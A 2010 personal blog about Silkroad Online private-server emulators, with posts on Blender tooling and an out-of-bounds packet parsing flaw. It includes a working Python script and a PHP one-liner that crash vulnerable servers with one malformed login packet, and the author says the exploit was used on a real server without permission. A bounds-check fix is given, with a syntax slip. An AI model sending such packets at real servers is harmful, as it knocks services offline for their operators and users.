Monday, August 30, 2010

Friday, August 27, 2010

Fooling around

Not so sinister today. I have been playing with python and C and also finished some qt stuff. Lost hard drive in process (rest in peace). Seen Prince of Persia: Sands of time movie...and I am currently working on Czech subtitles. Screw that...

Anyway, been playing with Silkroad 3DObjects and blender during night. I am working on simple import (and possibly export) toolkit for new 2.53 blender beta...unfortunately API documentation is not complete yet, so its damn hard to get by.

chinawoman_bogy

Thursday, August 19, 2010

Doing it right the way...hopefully?

As always I am updating my blog because of something rather sinister.

This time it because of some certain Germans I am really not satisfied with. I was writing about possible exploits in poorly written code (ie. if the coder was my employee he would already be sacked) in previous article.

It has been few days since I used this exploit on certain server...which has done exactly nothing to prevent it from happening again. I am confused about this because these people claim to be working on their own software, thus they should be experienced enough to prevent such failure...and in case they fail at it, they should be able to patch it. Quickly.

Consider following code (it is written in python again) which works as a 'smart' packet buffer reader, allowing us to read 16-bit integers (words) and string of length indicated by a word. It is only excerpt, original code does much more.

class reader:
 def sword(self):
  return struct.unpack('H', self.bytes(2))[0]

 def ascii(self):
  count = self.sword()
  return self.bytes(count) 

 def bytes(self, count):
  return self.buffer[self.offset:self.move(count)]

 def move(self, by):
  self.offset += by
  return self.offset

Notice the red section. There is a mistake, target of our exploitation. The move function merely adds value (arg: by) to current offset without checking validity of position.

Consider this simple solution...which works, remarkably.
def move(self, by):
  self.offset += by
  if self.offset >= self.length
   raise IndexError

  return self.offset

That much to securing your own code, dummies...

 


Update (as of 20-08-2010): As it became obvious, the emulator that was public (and crashed many times) was actually sremu (which explains the resemblance). Hopefully creators of the sunrise are not that much dummy after all. We shall see in near future.

Tuesday, August 17, 2010

Exploitable? No way!

Are you running some kind of csremu/vbsremu/dsremu/iamsogaysremu? Are you sure that your favourite piece of emulation software is working properly? Is it parsing data properly, checking for possible reading over buffer bounds? Most emulators fail at this. And they fail pretty hard, resulting in crashes and/or possible exploitation and injected code execution.

If you are using interpreted language such as vb6 or c#.net the latter possibility is quite unlikely to happen, however be ready to face out-of-bounds exceptions. Look at this extremely short script, written in python, which is able to crash certain badly written server with a single packet.

import socket
import struct

sockie = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockie.connect(('server.ip', 15779))
sockie.send(struct.pack('HHHBHHH', 9, 0x6102, 0, 0, 0xffff, 0xffff, 1337));
sockie.close()

How does it work? Script assumes that server is that bad written that it does not keep any state of connection and only responds to packets based on their op-codes. This slightly speeds the process up because it can avoid sending 'unnecessary' packets (such as handshake confirmation or patch information). This, however, rapidly reduces number of exploitable packets (in the gateway communication, there are at least 3 of them).

This exploit lays in login packet, which is supposed to look somehow like this:
short length
short opcode
short security

byte  method
short length
byte+ username
short length
byte+ password
short serverid

Now what does it mean? There is length, opcode, security - that makes for a cute packet header. Nothing really exploitable in there (well not directly).

Then, there is the data part - login method, username, password and server id. Look carefully at the username and password fields. In packets, they are stored as a short (16 bit) integer. Their value specifies how long the username is.

Now, what if the value indicated is longer than remaining buffer? There we get our exploit. This causes the long sought out-of-bounds exception. And that is what that little python script does.

Same exploit is possible with client identification (0x2001) and patch information (0x6100) where SR_Client string is sent in exactly same manner.

Happy bugfixing!


Update (as of 19-08-2010): same code should look like this in php:
<?php
 fwrite(fsockopen("server.ip", 15779, null, null, 1.0), "\x07\x00\x02\x61\x00\x00\x00\xff\xff\xff\xff\xff\xff");
?>